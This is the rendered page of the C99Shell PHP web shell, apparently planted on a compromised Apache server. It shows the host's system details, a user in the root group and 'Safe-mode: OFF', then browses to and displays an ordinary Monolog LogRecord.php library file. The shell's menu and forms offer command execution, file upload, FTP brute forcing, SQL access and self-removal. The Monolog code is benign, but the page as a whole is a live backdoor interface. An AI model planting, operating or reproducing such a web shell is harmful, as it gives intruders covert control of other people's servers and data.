!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/monolog/monolog/src/Monolog/   drwxr-xr-x
Free 28.49 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LogRecord.php (3.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Monolog;

use 
ArrayAccess;

/**
 * Monolog log record
 *
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @template-implements ArrayAccess<'message'|'level'|'context'|'level_name'|'channel'|'datetime'|'extra', int|string|\DateTimeImmutable|array<mixed>>
 */
class LogRecord implements ArrayAccess
{
    private const 
MODIFIABLE_FIELDS = [
        
'extra' => true,
        
'formatted' => true,
    ];

    public function 
__construct(
        public readonly 
\DateTimeImmutable $datetime,
        public readonly 
string $channel,
        public readonly 
Level $level,
        public readonly 
string $message,
        
/** @var array<mixed> */
        
public readonly array $context = [],
        
/** @var array<mixed> */
        
public array $extra = [],
        public 
mixed $formatted null,
    ) {
    }

    public function 
offsetSet(mixed $offsetmixed $value): void
    
{
        if (
$offset === 'extra') {
            if (!
is_array($value)) {
                throw new 
\InvalidArgumentException('extra must be an array');
            }

            
$this->extra $value;

            return;
        }

        if (
$offset === 'formatted') {
            
$this->formatted $value;

            return;
        }

        throw new 
\LogicException('Unsupported operation: setting '.$offset);
    }

    public function 
offsetExists(mixed $offset): bool
    
{
        if (
$offset === 'level_name') {
            return 
true;
        }

        return isset(
$this->{$offset});
    }

    public function 
offsetUnset(mixed $offset): void
    
{
        throw new 
\LogicException('Unsupported operation');
    }

    public function &
offsetGet(mixed $offset): mixed
    
{
        if (
$offset === 'level_name' || $offset === 'level') {
            
// avoid returning readonly props by ref as this is illegal
            
if ($offset === 'level_name') {
                
$copy $this->level->getName();
            } else {
                
$copy $this->level->value;
            }

            return 
$copy;
        }

        if (isset(
self::MODIFIABLE_FIELDS[$offset])) {
            return 
$this->{$offset};
        }

        
// avoid returning readonly props by ref as this is illegal
        
$copy $this->{$offset};

        return 
$copy;
    }

    
/**
     * @phpstan-return array{message: string, context: mixed[], level: value-of<Level::VALUES>, level_name: value-of<Level::NAMES>, channel: string, datetime: \DateTimeImmutable, extra: mixed[]}
     */
    
public function toArray(): array
    {
        return [
            
'message' => $this->message,
            
'context' => $this->context,
            
'level' => $this->level->value,
            
'level_name' => $this->level->getName(),
            
'channel' => $this->channel,
            
'datetime' => $this->datetime,
            
'extra' => $this->extra,
        ];
    }

    public function 
with(mixed ...$args): self
    
{
        foreach ([
'message''context''level''channel''datetime''extra'] as $prop) {
            
$args[$prop] ??= $this->{$prop};
        }

        return new 
self(...$args);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--